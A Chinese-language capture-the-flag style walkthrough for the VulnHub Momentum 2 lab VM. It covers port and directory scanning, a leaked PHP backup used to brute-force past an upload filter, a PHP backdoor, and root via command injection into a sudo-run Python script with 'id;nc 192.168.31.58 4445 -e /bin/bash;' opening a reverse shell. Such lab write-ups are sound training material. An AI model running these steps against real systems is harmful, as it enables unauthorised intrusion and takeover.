靶机下载地址: https://www.vulnhub.com/entry/momentum-2,702/
教程链接地址: https://blog.csdn.net/qwweggfe/article/details/119320045
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 MOMENTUM2:桥接于 192.168.31.1 的网卡,ip 未知
1 )确定靶机 ip 地址
sudo arp-scan -l
这次又换了个场所进行测试,所以识别到的 ip 就比较多了,通过 MAC 地址,可确定虚拟在 win 宿主机上的靶机地址

-> 靶机 ip:192.168.31.17
2 )确认靶机 ip 开放的端口信息
sudo nmap -A -p- 192.168.31.17

-> 靶机开放端口 22,80
# 网站信息收集
打开 http://192.168.31.17 进行信息收集

点击检查源代码,看能不能有所发现

没有什么敏感的信息,就去爆破一波目录,还是用 gobuster 工具,指定后缀,指定字典式的暴力破解,也可以用 dirsearch 等工具,前提是找到一个比较好的字典
gobuster dir -x php,txt,html,zip,rar,bak,php.bak -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.17

发现了三个敏感的目录,依次访问这几个目录
查看目录:http://192.168.31.17/ajax.php.bak

# 敏感数据泄露
直接可以下载的一个备份文件,下载下来查看一下

发现是一个 php 的备份文件,里边写了一个过滤文件的规则,如果 admin 按照如下设置,并且添加一个大写字母在最后,那么就去判断 post, 中是否有 secure 的字段为 val1d,如果有的话就允许上传 php 文件
查看目录: http://192.168.31.17/dashboad.html

可以上传文件,直接上传一个 shell.php 文件是被拒绝的

继续查看第三个敏感网址: http://192.168.31.17/owls/

很有可能是上传文件之后的位置,可在这里进行文件的执行
接下来的思路就是通过备份文件的提示进行 php 上传文件的绕过,在 dashboard.html 界面进行文件的上传,在再 oswl 页面进行文件的执行
# crunch 生成字典
先通过 crunch 生成一个从 A-Z 的字典
crunch 1 1 -t , -o pass.txt

将上传文件的数据包拦截下来,并通过 burp 重发数据

# burp 重发数据包
添加 cookie 字段,与另外一个 post 字段

将 cookie 字段中的最后一个字母设置为随机大写字母

加载通过 crunch 生成的字典

批量发包后发现没有得到有效的上传成功的地址

Owls 页面也没有新的后门上传成功

注意这个 post 字段有严格的规范,不能有丝毫的错误,这个字段类型和字段内容中间需要一个空行才可以

再次重发,在 R 处找到了上传成功的 payload

并且在 owls 页面接收到了上传成功的后门文件

执行此后门,在监听端口的地方拿到了反弹的 shell

# py 脚本提权
查看是否有除 root 账户以外的有 bash 的用户 cat /etc/passwd | grep bash
查看是否有相关的敏感文件泄漏,找到了一个备份的密码文件

并且 Asterisk 的中文为星号

通过遗留的密码切换到更高一级的用户 athena 上

查看相应的权限设置是否正确,发现可以直接调用 root 账户执行这个 py 脚本

直接利用 root 权限执行此脚本

并没有什么新发现,阅读此文件,发现可以通过拼接命令执行系统命令

构造命令 id;nc 192.168.31.58 4445 -e /bin/bash;
执行,将 shell 反弹到 kali 机器上

Kali 上用来监听此端口,成功拿到了反弹的 shell

-> 成功拿到了 root 权限